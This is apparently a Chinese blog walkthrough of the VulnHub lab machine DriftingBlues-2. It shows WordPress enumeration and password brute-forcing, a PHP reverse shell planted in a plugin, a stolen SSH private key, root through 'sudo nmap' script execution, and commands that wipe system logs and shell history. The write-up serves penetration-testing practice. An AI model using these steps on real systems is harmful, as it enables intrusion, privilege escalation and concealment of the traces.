vulnhub靶场【DriftingBlues】之2

前言

靶机:DriftingBlues-2

攻击:kali

都采用虚拟机技术,网卡为桥接模式

主机发现

使用arp-scan -l或者netdiscover -r 192.168.1.1/24

信息收集

使用nmap扫描端口

网站探测

访问80端口,只有背景图,查看页面源代码,也是如此

尝试进行目录扫描

使用gobuster、dirsearch、dirb、dirbuster、ffuf等工具

shell 复制代码
gobuster dir -u http://192.168.1.59 -w /usr/share/wordlists/dirb/big.txt -x php,zip,md,txt,html,jpg -b 404

当然这里使用gobuster只是进行一层目录扫描,不深入,想要深入,可以使用dirsearch、dirb

使用dirb效果演示

访问/blog目录,发现在连接时,在连接一个域名,并且,内容加载有问题,猜测可能需要绑定解析

使用whatweb进行指纹识别,确定CMS为wordpress

使用针对wordpress的扫描工具wpscan

shell 复制代码
wpscan --url http://192.168.1.59/blog

漏洞寻找

继续使用wpscan枚举用户

shell 复制代码
wpscan --url http://192.168.1.59/blog -e u

发现用户albert

尝试进行爆破,出现密码,用户名albert,密码scotland1

shell 复制代码
wpscan --url http://192.168.1.59/blog -e u -P /usr/share/wordlists/rockyou.txt 

访问/blog/wp-admin时,发现跳转域名,需要进行绑定,修改/etc/hosts文件后,可正常访问

漏洞利用

登录测试,发现登录成功,测试查看插件,发现一个插件,把该插件启用

然后编辑这个插件,测试能否修改,发现可以修改

kali中的脚本/usr/share/webshells/php/php-reverse-shell.php复制到这里面,脚本中的ipkali的ip地址

kali中开启监听端口1234,浏览器刷新即可,因为这个插件就是用户登录后的右上角,打招呼hello

靶机内信息收集

使用compgen -c或者dpkg -l | grep python,查看有无安装python

使用python获取一个交互式界面

shell 复制代码
python3 -c 'import pty;pty.spawn("/bin/bash")'

使用find寻找具有SUID权限文件,发现sudo,但是需要密码

使用find寻找capabilities,并无可用

shell 复制代码
find / -type f -executable 2>/dev/null | xargs getcap -r 2>/dev/null

去网站目录下查看wp-config.php连接数据库的时候,有无使用靶机内的用户及密码,

查看当前靶机内的用户,只有freddieroot

到该用户的主目录,发现在其下的.ssh文件夹中的私钥文件id_rsa可读

提权

提权至freddie

把私钥文件id_rsa下载到kali或者复制到kali,然后指定该文件登录到freddie

突然想起之前的ftp端口打开,测试能否匿名访问,空密码登录成功

下载一个图片,测试有无隐藏信息,测试发现没有内容

那么就继续以freddiessh登录为主

提权至root

之前使用find寻找具有SUID权限时,有sudo,不过当时需要密码,这里还是没有密码,但是还是要测试一下

发现可以,不需要密码

这里就可以使用nmap通过sudo进行提权,因为这里不需要密码了。

那么如果不知道如何使用提权,可以查看网站gtfobins.github.io搜索使用

根据条件满足去使用,或者两种方法都测试也行,反正方法不多

shell 复制代码
第一种方式,是nmap的输入不会回显,才能使用
TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
sudo nmap --script=$TF

第二种方式,需要nmap的版本对应2.02--5.21,可通过nmap --version查看
sudo nmap --interactive
nmap> !sh

这里的靶机nmap版本大于提权版本,所以使用第一种提权方式
第一种提权,在输入命令时,是看不到的,只能看到输出

清除痕迹

网站恢复

把网站中的内容恢复原状,把复制的脚本内容删除,然后恢复插件的原本状态

可以在当前终端,或者网站执行

各种日志清除

因为回显问题,所以这里不截图,放入命令

shell 复制代码
sed -i "/192.168.1.16/d" auth.log
echo > btmp
echo > lastlog
echo > wtmp
echo > apache2/access.log
echo > apache2>error.log
历史记录清除
shell 复制代码
history -r 
history -c

总结

  1. 考察wordpress模板中怎么寻找漏洞,以及工具wpscan熟练使用
  2. 考察ssh服务的基本,这里主要以考察公私钥
  3. 考察基本的sudo提权
相关推荐
xiaoxiaoxiaolll19 分钟前
期刊速递 | 《Light Sci. Appl.》超宽带光热电机理研究,推动碳纳米管传感器在制药质控中的实际应用
人工智能·学习
励志码农1 小时前
JavaWeb 30 天入门:第二十三天 —— 监听器(Listener)
java·开发语言·spring boot·学习·servlet
DisonTangor1 小时前
字节开源 OneReward: 通过多任务人类偏好学习实现统一掩模引导的图像生成
学习·ai作画·开源·aigc
黎宇幻生2 小时前
Java全栈学习笔记33
java·笔记·学习
2501_926227943 小时前
.Net程序员就业现状以及学习路线图(五)
学习·.net
yzx9910133 小时前
生活在数字世界:一份人人都能看懂的网络安全生存指南
运维·开发语言·网络·人工智能·自动化
2501_915918414 小时前
HTTPS 端口号详解 443 端口作用、iOS 抓包方法、常见 HTTPS 抓包工具与网络调试实践
android·网络·ios·小程序·https·uni-app·iphone
qq_359716234 小时前
UDP的使用
网络·网络协议·udp
2301_780789667 小时前
渗透测试真的能发现系统漏洞吗
服务器·网络·安全·web安全·网络安全
siy23337 小时前
[c语言日记] 数组的一种死法和两种用法
c语言·开发语言·笔记·学习·链表